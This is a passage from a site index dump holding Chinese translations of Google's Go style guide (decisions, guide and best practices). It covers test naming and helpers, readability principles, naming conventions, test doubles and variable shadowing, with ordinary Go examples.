t.Errorf(\u0026quot;Decode(%q) = %q, want %q\u0026quot;, test.input, got, want) } if got, want := err, test.err; !cmp.Equal(got, want) { t.Errorf(\u0026quot;Decode(%q) err %q, want %q\u0026quot;, test.input, got, want) } }) } } 识别行 不要用测试表中的测试索引来代替命名你的测试或打印输入。没有人愿意去看你的测试表，为了弄清楚哪个测试用例失败而去数条目。\n// Bad: tests := []struct { input, want string }{ {\u0026quot;hello\u0026quot;, \u0026quot;HELLO\u0026quot;}, {\u0026quot;wORld\u0026quot;, \u0026quot;WORLD\u0026quot;}, } for i, d := range tests { if strings.ToUpper(d.input) != d.want { t.Errorf(\u0026quot;failed on case #%d\u0026quot;, i) } } 在你的测试结构中添加测试描述，并将其与失败信息一起打印。当使用子测试时，你的子测试名称应能有效识别行。\n重要的是：即使t.Run限定了输出和执行的范围，你也必须始终识别输入。表的测试行名称必须遵循子测试的命名指导。\n测试助手 一个测试助手(test helper)是一个执行设置或清理任务的函数。所有发生在测试助手中的故障都被认为是环境的故障（而不是被测代码的故障）–例如，当一个测试数据库不能被启动，因为在这台机器上没有更多的空闲端口。\n如果你传递一个*testing.T，调用t.Helper，将测试助手中的失败归因于调用该助手的那一行。如果有的话，这个参数应该在上下文参数之后，在任何其他参数之前。\n// Good: func TestSomeFunction(t *testing.T) { golden := readFile(t, \u0026quot;testdata/golden-result.txt\u0026quot;) // ... tests against golden ... } // readFile returns the contents of a data file. // It must only be called from the same goroutine as started the test. func readFile(t *testing.T, filename string) string { t.Helper() contents, err := runfiles.ReadFile(filename) if err != nil { t.Fatal(err) } return string(contents) } 当这种模式掩盖了测试失败和导致失败的条件之间的联系时，请不要使用这种模式。特别是，关于断言库的指导仍然适用，t.Helper不应该被用来实现这种库。\n提示：更多关于测试助手和断言助手的区别，请参见最佳实践。\n虽然上面提到的是*testing.T，但很多建议对基准和模糊测试助手来说是一样的。\n测试包 同一包内的测试 测试可以定义在与被测试代码相同的包中。\n要在同一个包中编写测试：\n将测试放在foo_test.go文件中\n在测试文件中使用包foo\n不要明确地导入要测试的包\nGood: go_library( name = \u0026ldquo;foo\u0026rdquo;, srcs = [\u0026ldquo;foo.go\u0026rdquo;], deps = [ \u0026hellip; ], )\ngo_test( name = \u0026ldquo;foo_test\u0026rdquo;, size = \u0026ldquo;small\u0026rdquo;, srcs = [\u0026ldquo;foo_test.go\u0026rdquo;], library = \u0026ldquo;:foo\u0026rdquo;, deps = [ \u0026hellip; ], )\n同一包中的测试可以访问包中未导出的标识符。这可以实现更好的测试覆盖率和更简洁的测试。请注意，在测试中声明的任何例子都不会有用户在其代码中需要的包名。\n不同软件包中的测试 将测试定义在与被测代码相同的包中并不总是合适的，甚至不可能。在这种情况下，使用带有 _test 后缀的包名。这是包名的”无下划线”规则的一个例外。比如说：\n如果一个集成测试没有一个明显它归属的库：\n// Good: package gmailintegration_test\nimport \u0026ldquo;testing\u0026rdquo;\n如果在同一软件包中定义测试会导致循环依赖性\n// Good: package fireworks_test\nimport ( \u0026ldquo;fireworks\u0026rdquo; \u0026ldquo;fireworkstestutil\u0026rdquo; // fireworkstestutil also imports fireworks )\n使用testing包 Go标准库提供了testing包。这是谷歌代码库中唯一允许用于Go代码的测试框架。特别是，断言库和第三方测试框架是不允许的。\ntesting包为编写好的测试提供了一个最小但完整的功能集：\n顶层测试 性能基准测试 可运行的例子 子测试 logging 失败和致命的失败 这些都是为了与核心语言功能协同工作，如复合字面值和if-with-initializer语法，使测试作者能够编写清晰、可读、可维护的测试。\n非决定性 风格指南不可能列举出所有事项的正面规定，也不可能列举出所有它不提供意见的事项。也就是说，这里有几件可读性社区以前争论过但没有达成共识的事情。\n局部变量的零值初始化。var i int和i := 0是等价的。请参见初始化的最佳实践。 空复合字面值 vs new 或make。\u0026amp;File{}和new(File)是等同的。map[string]bool{}和make(map[string]bool)也是如此。请参见复合类型声明的最佳实践。 在cmp.Diff调用中，got, want的参数排序。要有本地一致性，并在你的失败信息中包含一个示例说明。 errors.New vs fmt.Errorf针对非格式化字符串。errors.New(“foo”) 和 fmt.Errorf(“foo”) 可以互换使用。 如果有特殊情况再次出现，可读性导师可能会做一个可选的注释，但一般来说，作者可以自由选择他们在特定情况下喜欢的风格。\n当然，如果风格指南中没有涉及的东西确实需要更多的讨论，欢迎作者提出–在具体的审查中，或者在内部留言板上。\n","permalink":"https://tonybai.com/google-go-style/google-go-style-decisions/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/google-go-style/google-go-style-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions\"\u003ehttps://tonybai.com/google-go-style/google-go-style-decisions\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本页面是2022年11月中旬Google发布的\u003ca href=\"https://google.github.io/styleguide/go/index\"\u003eGo语言编码风格规范\u003c/a\u003e系列文档的\u003ca href=\"https://google.github.io/styleguide/go/decisions\"\u003e决定篇\u003c/a\u003e的中译版。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style\"\u003e概述\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide\"\u003e指南\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions\"\u003e决定\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices\"\u003e最佳实践\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意：这是介绍\u003ca href=\"https://tonybai.com/google-go-style\"\u003eGoogle Go编码风格的系列文档\u003c/a\u003e的一部分。本文档是规范性的，但不具备权威性。本篇级别要低于\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide\"\u003e指南篇\u003c/a\u003e，更多信息请参见\u003ca href=\"https://tonybai.com/google-go-style\"\u003e概述篇\u003c/a\u003e。\u003c/p\u003e","title":"Google Go语言编码风格规范：决定篇"},{"content":"\n本文永久链接 – https://tonybai.com/google-go-style/google-go-style-guide\n本页面是2022年11月中旬Google发布的Go语言编码风格规范系列文档的指南文档的中译版。\n概述 | 指南 | 决定 | 最佳实践\n注意：这是介绍Google Go编码风格的系列文档的一部分。本文档具备权威性和规范性。更多信息请参见概述。\n编码风格原则 这里列举了几条有关思考如何编写可读Go代码的总体原则。以下是可读代码的属性，按重要性排序：\n清晰：代码的目的和原理对读者来说是清晰的。 简单：代码以最简单的方式完成其目标。 简明：代码具有较高的信噪比。 可维护：编写的代码可以很容易维护。 一致：代码与更广泛的谷歌代码库风格一致。 清晰(Clarity) 可读性的核心目标是生产对读者清晰的代码。\n清晰主要是通过有效的命名、有用的注释和有效的代码组织来实现的。\n清晰与否要从代码的读者角度来看，而不是从代码的作者的角度来看。代码的易读性比易写性更重要。代码的清晰性有两个不同的方面：\n代码实际上在做什么？ 为什么代码在做它所做的事？ 代码实际上在做什么？ Go的设计是这样的，它应该是可以相对直接地看到代码在做什么。在不确定的情况下，或者在读者可能需要先验知识才能理解代码的情况下，值得投入时间让代码的目的对未来的读者更加清晰。比如，下面这些措施可能会对清晰描述代码目的有帮助：\n使用更具描述性的变量名 添加额外的注释 用空白和注释来分隔代码 将代码重构为独立的函数/方法，使其更加模块化。 这里没有一个放之四海而皆准的方法，但在开发Go代码时，优先考虑清晰性是很重要的。\n为什么代码要做它所做的事？ 代码的原理往往是通过变量、函数、方法或包的名称来充分传达的。如果这些元素名称无法做到这点，那么添加注释就会变得很重要。当代码包含读者可能不熟悉的细微差别时，解释“为什么”将变得尤其重要，例如：\n语言上的细微差别，例如，一个闭包将捕获一个循环变量，但闭包写在很多行之外； 业务逻辑的细微差别，例如，访问控制检查需要区分实际用户和冒充用户的人。 一个API可能需要额外注意才能正确使用。例如，由于性能原因，一段代码可能是错综复杂的，导致很难理解，或者一连串复杂的数学运算可能以一种意想不到的方式使用类型了转换。在这些情况以及更多类似的情况下，使用附带注释和文档来解释这些方面就变得十分重要了，这样未来的维护者才不会犯错，读者也无需进行反向工程就可以理解代码。\n同样重要的是要意识到，一些试图提升代码清晰度的尝试（如添加额外的注释）实际上会让代码的目的变得更加模糊，比如增加杂乱无章的内容、用注释重述代码逻辑、注释与代码逻辑自相矛盾或为保持注释同步而增加维护负担。让代码自己说话（例如，通过使用可自描述的符号名称），而不是添加多余的注释。通常情况下，注释最好是解释为什么要做某事，而不是解释代码在做什么。\n谷歌的代码库在很大程度上是统一和一致的。通常情况下，那些“另类”的代码（例如，通过使用不熟悉的模式）也是有充分理由的，通常是为了性能。保持这一特性对于让读者在阅读一段新的代码时清楚地知道他们应该把注意力放在哪里是很重要的。\nGo标准库中包含了许多践行这一原则的实例，其中包括：\n在sort包中的维护者注释； 在同一个包中有可读性好的可运行的例子，这对用户（例子可以在godoc中显示）和维护者（例子作为测试的一部分运行）都有好处。 strings.Cut函数只有四行代码，但从调用者角度来看，该函数的存在提高了代码的清晰度和正确性。 简单(Simplicity) 对于使用、阅读和维护它的人来说，你的Go代码应该是简单的。\nGo代码应该以能实现其目标的最简单的方式编写，无论在行为还是性能方面。在GoogleGo代码库中，简单的代码具有如下属性：\n从上到下都易于阅读 不假设你已经知道它的工作原理 不假设你能记住前面所有的代码 没有不必要的抽象层次 在平凡代码中没有引起人们注意的名字 让读者清楚地了解价值和决策的传播情况 有注释，解释为什么，而不是代码在做什么，以避免将来出现偏差 有独立的文档 拥有有用的错误和有用的失败测试用例 通常与“故作聪明的”代码相互排斥 在代码的简单性和API使用的简单性之间可能会产生权衡。例如，让代码更复杂可能是值得的，这样API的终端用户可能更容易正确地调用API。相反，把一些额外的工作留给API的终端用户也是值得的，这样代码就会保持简单和容易理解。\n当代码需要复杂性时，应该有意地增加复杂性。如果需要额外的性能，或者一个特定的库或服务有多个不同的客户，这通常是必要的。复杂性可能是合理的，但它应该有相应的文档，以便客户和未来的维护者能够理解和驾驭这种复杂性。这应该用测试和例子来补充说明其正确的用法，特别是要在例子中既包含使用代码的“简单”方法，也包含“复杂”的使用方法。\n这一原则并不意味着复杂的代码不能或不应该用Go编写，也不意味着Go代码不允许复杂。我们努力使代码库避免不必要的复杂性，这样当复杂性出现时，就表明有关的代码需要认真理解和维护。理想情况下，应该有相应的注释来解释其中的道理，并指出应该注意的地方。在优化代码以提高性能时，经常会出现这种情况；这样做往往需要更复杂的方法，比如预先分配一个缓冲区并在整个goroutine生命周期内重复使用它。当维护者看到这种情况时，应该视其为一个线索，说明相关的代码是性能敏感型的，未来修改这段代码时应该给予足够的谨慎。反过来，如果使用不当，这种复杂性会给那些需要在未来阅读或修改代码的人带来负担。\n如果代码被证明是非常复杂的，而其目的应该是简单的，这往往是一个信号，可以重新审视实现，看看是否有更简单的方法来完成同样的事情。\n最少的机制 如果有几种方法来表达同一个想法，最好选择使用最标准的一种。复杂的机制经常存在，但不应该无缘无故地使用。根据需要增加代码的复杂性是很容易的，而在发现没有必要之后再去掉现有的复杂性则要难得多。\n当足以满足你的使用情况时，要争取使用一个核心语言结构（例如channel、slice、map、循环或struct）； 如果没有，就在标准库中寻找一个工具（如HTTP客户端或模板引擎）； 最后，在引入新的依赖关系或自己造轮子之前，考虑谷歌代码库中是否有一个核心库是可以满足你要求的。 举个例子，考虑生产环境代码中包含一个与变量绑定的标志(flag)，其默认值必须在测试中被重写。除非打算测试程序的命令行界面本身（例如，用os/exec），否则更可取的是直接重写绑定的值，这比使用flag.Set更简单。\n同样地，如果一段代码需要检查集合的成员资格，一个值元素类型为布尔类型的map（例如map[string]bool）往往就足够了。只有在需要更复杂的操作，而使用map不可能完成或完成起来过于复杂时，才应使用提供类似集合类型和功能特性的库。\n简明(Concision) 简明的Go代码具有很高的信噪比。它很容易分辨出相关的细节，而命名和结构则可以引导读者了解这些细节。\n在任何时候，都有很多东西会阻碍主要的细节浮现出来：\n重复的代码 不相干的语法 难懂的名字 不必要的抽象 空白 重复的代码尤其掩盖了每个几乎相同的部分之间的差异，这需要读者可视化地比较相似的代码行后才能发现其中的差异。表格驱动的测试是一个很好的例子，这种机制可以简明地从每个重复的重要细节中找出共同的代码，但是选择在表格中包括哪些部分会对表格的易懂程度有影响。\n当考虑用多种方式来组织代码结构时，值得考虑哪种方式更能突显重要的细节。\n理解和使用常见的代码结构和地道用法对于保持高信噪比也很重要。例如，下面这个代码块在错误处理中非常常见，读者可以很快理解这个代码块的意图：\n// Good: if err := doSomething(); err != nil { // ... } 如果代码看起来与此非常相似，但却有细微的不同，读者可能不会注意到这种变化。在这样的情况下，值得故意“提高”错误检查的信号，我们可以通过添加一个注释来引起注意。\n// Good: if err := doSomething(); err == nil { // if NO error // ... } 可维护(Maintainability) 代码被编辑的次数比它被写的次数多得多。可读的代码不仅对试图了解其工作原理的读者有意义，而且对需要改变它的程序员也有意义。清晰度是关键。\n可维护的代码具有如下性质：\n易于被未来的程序员正确修改 具有结构化的API，使其能够优雅地扩展 清楚它所做的假设，并选择与问题结构相对应的抽象，而不是与代码的结构相对应。 避免不必要的耦合，不包含未用到的功能特性。 拥有一个全面的测试套件，以确保承诺的行为得到维护以及重要的逻辑是正确的，并且在测试失败的情况下为开发人员提供清晰、可操作的诊断。 当使用像接口和类型这样的抽象时，顾名思义就是把信息从使用它们的环境中移除，因此必须确保它们提供足够的好处。当使用具体类型时，编辑器和IDE可以直接连接到方法定义并显示相应的文档，但在其他情况下只能参考接口定义。接口是一个强大的工具，但也是有代价的，因为维护者可能需要了解底层实现的具体细节才能正确使用接口，这必须在接口文档中或在调用现场进行解释。\n可维护的代码还可以避免将重要的细节隐藏在容易被忽视的地方。例如，在下面示例的代码行中，一个字符的存在与否都会对代码的理解产生至关重要的影响：\n// Bad: // 使用=而不是:=可以完全改变这一行。 if user, err = db.UserByID(userID); err != nil { // ... } // Bad: // 这行代码中间的！很容易错过。 leap := (year%4 == 0) \u0026amp;\u0026amp; (!(year%100 == 0) || (year%400 == 0)) 以上两段代码都不是不正确的，但都可以写得更明确，或者可以有一个附带的注释，提醒要注意的重要行为：\n// Good: u, err := db.UserByID(userID) if err != nil { return fmt.Errorf(\u0026quot;invalid origin user: %s\u0026quot;, err) } user = u // Good: // 格里高利闰年不能仅通过year%4==0来判定。 // 具体请参见https://en.wikipedia.org/wiki/Leap_year#Algorithm. var ( leap4 = year%4 == 0 leap100 = year%100 == 0 leap400 = year%400 == 0 ) leap := leap4 \u0026amp;\u0026amp; (!leap100 || leap400) 同样地，一个隐藏了关键逻辑或重要边缘情况的辅助函数(helper function)，可能会使未来的变化很容易无法正确地解释它。\n可预测的名字是可维护代码的另一个特点。一个包的用户或一段代码的维护者应该能够预测一个变量、方法或函数在特定情况下的名称。相同概念的函数(形式)参数和接收器名称(receiver name)通常应该共享相同的名称，这既是为了保持文档的可理解性，也是为了方便以最小的开销重构代码。\n可维护的代码尽量减少其依赖性（包括隐性和显性的依赖）。更少的包的依赖意味着更少的可以影响行为的代码行。避免对内部或未记录的行为的依赖，使得代码在将来这些行为发生变化时，不太可能造成维护负担。\n当考虑如何构造或编写代码时，值得花时间去思考代码可能随着时间的推移而演变的方式。如果一个给定的方法更有利于未来更容易和更安全的变化，这往往是一个很好的权衡，即使它意味着一个稍微复杂的设计。\n一致(Consistency) 一致性的代码是指在更广泛的代码库中，在一个团队的代码中或一个包的范围内，甚至在一个文件中，看起来、感觉和行为都类似的代码。\n一致性的问题并不凌驾于上述的任何原则之上，但如果必须打破平衡，那么打破平局的往往是有利于一致性的实现。\n一个包内的一致性通常是最直接重要的一致性水平的体现。如果同一个问题在一个包里有多种处理方式，或者同一个概念在一个文件里有很多名字，那就会非常不协调。然而，即使这样，也不应该凌驾于文件的风格原则或全局一致性之上。\n## 核心指导准则(Core guidelines) 这些准则收集了所有Go代码都应遵循的Go风格的最重要方面。我们希望开发者在编写可读性代码时学习和遵循这些准则。这些准则预计不会经常改变，新增加的内容必须通过一个高标准的审核门槛。\n下面的准则是对Effective Go中的建议的扩展，它为整个社区的Go代码提供了一个共同的基线。\n格式化 所有Go源文件必须符合gofmt工具输出的格式。这种格式由Google代码库中的预提交(presubmit)检查强制执行。生成的代码通常也应该被格式化（例如，通过使用format.Source），因为它也可以在代码搜索中被浏览。\n驼峰命名(MixedCaps) Go源代码在编写多字名称时使用MixedCaps或mixedCaps（驼峰命名）而不是下划线（蛇形命名）。\n这甚至适用于打破其他语言的惯例的情况。例如，一个常量如果被导出，就用MaxLength（而不是MAX_LENGTH）；如果未导出，就用maxLength（而不是max_length）。\n为了选择头母大写的导出变量方案，本地变量被认为是未导出的。\n行的长度 Go源代码没有固定的行长。如果某一行感觉太长了，应该重构而不是断掉。如果它已经很短了，那么应该允许它继续保持长行。\n在下面情况下，不要分割行：\n在缩进改变之前（例如，函数声明，条件）。 为了使一个长的字符串（例如，一个URL）适合于多个短行 命名 命名是艺术而不是科学。在Go中，名字往往比许多其他语言要短一些，但同样的一般准则也适用。名称应该具有如下属性：\n在使用时不感到重复 将上下文因素考虑进去 不要重复已经很清楚的概念 你可以在决定中找到更多关于命名的具体指导。\n局部一致性 当风格指南对某一特定的风格点没有说明时，作者可以自由地选择他们喜欢的风格，除非附近的代码（通常在同一个文件或包内，但有时在一个团队或项目目录内）对这个问题采取了一致的风格。\n有效的局部风格考量的例子：\n使用%s或%v的格式化打印错误 使用带缓冲channel来代替mutex 无效的局部风格考量的例子：\n代码的行长限制 使用基于断言的测试库 如果局部风格与风格指南不一致，但对可读性的影响仅限于一个文件，它通常会在代码审查中浮出水面，而一致的修正会超出有关CL的范围。在这一点上，提交一个bug来跟踪此类修复更为合适。\n如果一个改变会使现有的风格偏差恶化，在更多的API表面暴露出来，扩大存在偏差的文件数量，或者引入一个实际的错误，那么局部一致性就不再是违反新代码风格指南的有效理由。在这些情况下，作者应该在同一CL中清理现有的代码库，在当前CL之前进行重构，或者找到一个至少不会使局部问题恶化的替代方案。\n","permalink":"https://tonybai.com/google-go-style/google-go-style-guide/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/google-go-style/google-go-style-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide\"\u003ehttps://tonybai.com/google-go-style/google-go-style-guide\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本页面是2022年11月中旬Google发布的\u003ca href=\"https://google.github.io/styleguide/go/index\"\u003eGo语言编码风格规范\u003c/a\u003e系列文档的\u003ca href=\"https://google.github.io/styleguide/go/guide\"\u003e指南文档\u003c/a\u003e的中译版。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style\"\u003e概述\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide\"\u003e指南\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions\"\u003e决定\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices\"\u003e最佳实践\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意：这是介绍Google Go编码风格的系列文档的一部分。本文档具备权威性和规范性。更多信息请参见\u003ca href=\"https://tonybai.com/google-go-style\"\u003e概述\u003c/a\u003e。\u003c/p\u003e","title":"Google Go语言编码风格规范：指南篇"},{"content":"\n本文永久链接 – https://tonybai.com/google-go-style/google-go-style-best-practices\n本页面是2022年11月中旬Google发布的Go语言编码风格规范系列文档的最佳指南篇的中译版。\n概述 | 指南 | 决定 | 最佳实践\n注意：这是介绍Google Go编码风格的系列文档的一部分。本文档既不是规范性的，也不是权威性的。本文档是指南篇的辅助文档，更多信息请参见概述篇。\n关于 本文档将对如何最好地应用Go风格指南给出指导建议。这些指导建议旨在解决经常出现的常见问题情况，但不一定适用于所有情况。在可能的情况下，我们讨论了多种替代方法，以及决定何时和何时不应用这些方法的考虑因素。\n更多内容，请参阅本系列文档的概述篇。\n命名 函数和方法名 避免重复 当选择一个函数或方法的名字时，需要考虑该名字将被使用的上下文环境。请考虑以下建议，以避免在调用时出现过多的重复：\n以下内容一般可以从函数和方法的名字中省略。\n输入和输出的类型（当不存在冲突的时候） 方法的接收器的类型 输入或输出是否是一个指针 对于函数，不要重复包的名称。\n// Bad: package yamlconfig\nfunc ParseYAMLConfig(input string) (*Config, error)\n// Good: package yamlconfig\nfunc Parse(input string) (*Config, error)\n对于方法，不要重复方法接收器的名称。\n// Bad: func (c *Config) WriteConfigTo(w io.Writer) (int64, error)\n// Good: func (c *Config) WriteTo(w io.Writer) (int64, error)\n不要重复作为参数传递的变量的名称。\n// Bad: func OverrideFirstWithSecond(dest, source *Config) error\n// Good: func Override(dest, source *Config) error\n不要重复返回值的名称和类型。\n// Bad: func TransformYAMLToJSON(input *Config) *jsonconfig.Config\n// Good: func Transform(input *Config) *jsonconfig.Config\n当有必要区分相似名称的函数时，名字中可以包含额外的信息：\n// Good: func (c *Config) WriteTextTo(w io.Writer) (int64, error) func (c *Config) WriteBinaryTo(w io.Writer) (int64, error) 命名惯例 在为函数和方法选择名称时，还有一些常见的惯例。\n返回某事物的函数通常被赋予类似名词的名字。\n// Good: func (c *Config) JobName(key string) (value string, ok bool)\n这方面的一个推论是，函数和方法名称应该避免使用Get前缀。\n// Bad: func (c *Config) GetJobName(key string) (value string, ok bool) 做某事的函数被赋予类似动词的名称。\n// Good: func (c *Config) WriteDetail(w io.Writer) (int64, error)\n只因所涉及的类型而不同的相同的函数在名称的末尾包括类型的名称。\n// Good: func ParseInt(input string) (int, error) func ParseInt64(input string) (int64, error) func AppendInt(buf []byte, value int) []byte func AppendInt64(buf []byte, value int64) []byte\n如果有一个明确的 “主要 “版本，该版本的名称中可以省略类型。\n// Good: func (c *Config) Marshal() ([]byte, error) func (c *Config) MarshalText() (string, error) 测试替身包和类型 在命名提供测试助手，特别是测试替身的包和类型时，有几条条款可以运用。测试替身可以是一个stub、fake、mock或spy。\n这些例子大多使用stub这种测试替身。如果你的代码使用fake的或其他类型的测试替身，请相应地更新你的名字。\n假设你有一个重点突出的包，提供类似这样的生产代码：\npackage creditcard import ( \u0026quot;errors\u0026quot; \u0026quot;path/to/money\u0026quot; ) // ErrDeclined indicates that the issuer declines the charge. var ErrDeclined = errors.New(\u0026quot;creditcard: declined\u0026quot;) // Card contains information about a credit card, such as its issuer, // expiration, and limit. type Card struct { // omitted } // Service allows you to perform operations with credit cards against external // payment processor vendors like charge, authorize, reimburse, and subscribe. type Service struct { // omitted } func (s *Service) Charge(c *Card, amount money.Money) error { /* omitted */ } 创建测试助手包 假设你想创建一个包，其中包含另一个包的测试替身。在这个例子中，我们将使用package creditcard（来自上面）。\n一种方法是在生产包的基础上引入一个新的Go包进行测试。一个安全的选择是在原始包的名字后面加上test这个词（”creditcard “+”test”）。\n// Good: package creditcardtest 除非另有明确说明，以下各节中的所有例子都是在creditcardtest包中。\n简单情况 你想为Service添加一组测试替身。因为Card是一个有效的哑数据类型，类似于Protocol Buffer消息，它在测试中不需要特殊处理，所以不需要测试替身。如果你预计只对一种类型（如Service）使用测试替身，你可以采取一种简洁的方法来命名替身。\n// Good: import ( \u0026quot;path/to/creditcard\u0026quot; \u0026quot;path/to/money\u0026quot; ) // Stub stubs creditcard.Service and provides no behavior of its own. type Stub struct{} func (Stub) Charge(*creditcard.Card, money.Money) error { return nil } 严格来说，这比像StubService或非常差的StubCreditCardService这样的名字要好，因为基础包的名字和它的领域类型使得creditcardtest.Stub是什么变得显而易见。\n最后，如果该包是用Bazel构建的，确保该包的新go_library规则被标记为testonly。\n# Good: go_library( name = \u0026quot;creditcardtest\u0026quot;, srcs = [\u0026quot;creditcardtest.go\u0026quot;], deps = [ \u0026quot;:creditcard\u0026quot;, \u0026quot;:money\u0026quot;, ], testonly = True, ) 上述方法是符合惯例的，很容易被其他工程师所理解。\n请参阅：\n- Go tips#42：为测试编写stub\n多种测试替身行为 当一种stub不够用时（例如，你还需要一种总是失败的stub），我们建议根据它们模拟的行为来命名stub。这里我们将Stub重命名为AlwaysCharges，并引入一个新的stub，称为AlwaysDeclines。\n// Good: // AlwaysCharges stubs creditcard.Service and simulates success. type AlwaysCharges struct{} func (AlwaysCharges) Charge(*creditcard.Card, money.Money) error { return nil } // AlwaysDeclines stubs creditcard.Service and simulates declined charges. type AlwaysDeclines struct{} func (AlwaysDeclines) Charge(*creditcard.Card, money.Money) error { return creditcard.ErrDeclined } 针对多个类型的多个测试替身 但是现在，假设包creditcard包含多种值得创建测试替身的类型，正如下面看到的Service和StoredValue。\npackage creditcard type Service struct { // omitted } type Card struct { // omitted } // StoredValue manages customer credit balances. This applies when returned // merchandise is credited to a customer's local account instead of processed // by the credit issuer. For this reason, it is implemented as a separate // service. type StoredValue struct { // omitted } func (s *StoredValue) Credit(c *Card, amount money.Money) error { /* omitted */ } 在这种情况下，我们应该使用更明确的测试替身命名。\n// Good: type StubService struct{} func (StubService) Charge(*creditcard.Card, money.Money) error { return nil } type StubStoredValue struct{} func (StubStoredValue) Credit(*creditcard.Card, money.Money) error { return nil } 测试中的局部变量 当你的测试中的变量引用测试替身时，要根据上下文选择一个能最清楚地区分替身和其他生产类型的名称。考虑一下你要测试的一些生产代码。\npackage payment import ( \u0026quot;path/to/creditcard\u0026quot; \u0026quot;path/to/money\u0026quot; ) type CreditCard interface { Charge(*creditcard.Card, money.Money) error } type Processor struct { CC CreditCard } var ErrBadInstrument = errors.New(\u0026quot;payment: instrument is invalid or expired\u0026quot;) func (p *Processor) Process(c *creditcard.Card, amount money.Money) error { if c.Expired() { return ErrBadInstrument } return p.CC.Charge(c, amount) } 在测试中，一个被称为CreditCard的”spy”的测试替身与生产类型并列，所以给这个名字加上前缀可以提高清晰度。\n// Good: package payment import \u0026quot;path/to/creditcardtest\u0026quot; func TestProcessor(t *testing.T) { var spyCC creditcardtest.Spy proc := \u0026amp;Processor{CC: spyCC} // declarations omitted: card and amount if err := proc.Process(card, amount); err != nil { t.Errorf(\u0026quot;proc.Process(card, amount) = %v, want %v\u0026quot;, got, want) } charges := []creditcardtest.Charge{ {Card: card, Amount: amount}, } if got, want := spyCC.Charges, charges; !cmp.Equal(got, want) { t.Errorf(\u0026quot;spyCC.Charges = %v, want %v\u0026quot;, got, want) } } 这比没有前缀的名称更清楚。\n// Bad: package payment import \u0026quot;path/to/creditcardtest\u0026quot; func TestProcessor(t *testing.T) { var cc creditcardtest.Spy proc := \u0026amp;Processor{CC: cc} // declarations omitted: card and amount if err := proc.Process(card, amount); err != nil { t.Errorf(\u0026quot;proc.Process(card, amount) = %v, want %v\u0026quot;, got, want) } charges := []creditcardtest.Charge{ {Card: card, Amount: amount}, } if got, want := cc.Charges, charges; !cmp.Equal(got, want) { t.Errorf(\u0026quot;cc.Charges = %v, want %v\u0026quot;, got, want) } } 遮蔽(shadowing) 注意：本解释使用了两个非正式的术语，重踏(stomping)和遮蔽。它们并不是Go语言规范中的正式概念。\n像许多编程语言一样，Go有可变的变量：向一个变量赋值会改变其值。\n// Good: func abs(i int) int { if i \u0026lt; 0 { i *= -1 } return i } 当使用带有:=操作符的短变量声明时，在某些情况下不会创建一个新的变量。我们可以把这称为重踏。当不再需要原来的值时，这样做是可以的。\n// Good: // innerHandler is a helper for some request handler, which itself issues // requests to other backends. func (s *Server) innerHandler(ctx context.Context, req *pb.MyRequest) *pb.MyResponse { // Unconditionally cap the deadline for this part of request handling. ctx, cancel := context.WithTimeout(ctx, 3*time.Second) defer cancel() ctxlog.Info(\u0026quot;Capped deadline in inner request\u0026quot;) // Code here no longer has access to the original context. // This is good style if when first writing this, you anticipate // that even as the code grows, no operation legitimately should // use the (possibly unbounded) original context that the caller provided. // ... } 不过要小心在新的作用域中使用短的变量声明：这将引入一个新的变量。我们可以把这称为对原始变量的遮蔽。代码块结束后，代码中的变量将指向原来的变量。下面是一个有条件地缩短deadline的错误尝试。\n// Bad: func (s *Server) innerHandler(ctx context.Context, req *pb.MyRequest) *pb.MyResponse { // Attempt to conditionally cap the deadline. if *shortenDeadlines { ctx, cancel := context.WithTimeout(ctx, 3*time.Second) defer cancel() ctxlog.Info(ctx, \u0026quot;Capped deadline in inner request\u0026quot;) } // BUG: \u0026quot;ctx\u0026quot; here again means the context that the caller provided. // The above buggy code compiled because both ctx and cancel // were used inside the if statement. // ... } 一个正确版本的代码可能是这样的：\n// Good: func (s *Server) innerHandler(ctx context.Context, req *pb.MyRequest) *pb.MyResponse { if *shortenDeadlines { var cancel func() // Note the use of simple assignment, = and not :=. ctx, cancel = context.WithTimeout(ctx, 3*time.Second) defer cancel() ctxlog.Info(ctx, \u0026quot;Capped deadline in inner request\u0026quot;) } // ... } 在我们称之为重踏的情况下，因为没有新的变量，所以被分配的类型必须与原始变量的类型相匹配。而遮蔽则是引入一个全新的实体，所以它可以有不同的类型。有意的遮蔽可以是一种有用的做法，但如果从提高代码清晰度角度考虑，你总是可以使用一个新的名字。\n除了非常小的范围之外，使用与标准包同名的变量并不是一个好主意，因为这使得该包的函数和值无法被访问。反过来说，在为你的包挑选名字时，要避免使用那些可能需要重命名导入包的名字，或者在客户端造成对其他好的变量名字的遮蔽。\n// Bad: func LongFunction() { url := \u0026quot;https://example.com/\u0026quot; // Oops, now we can't use net/url in code below. } Util包 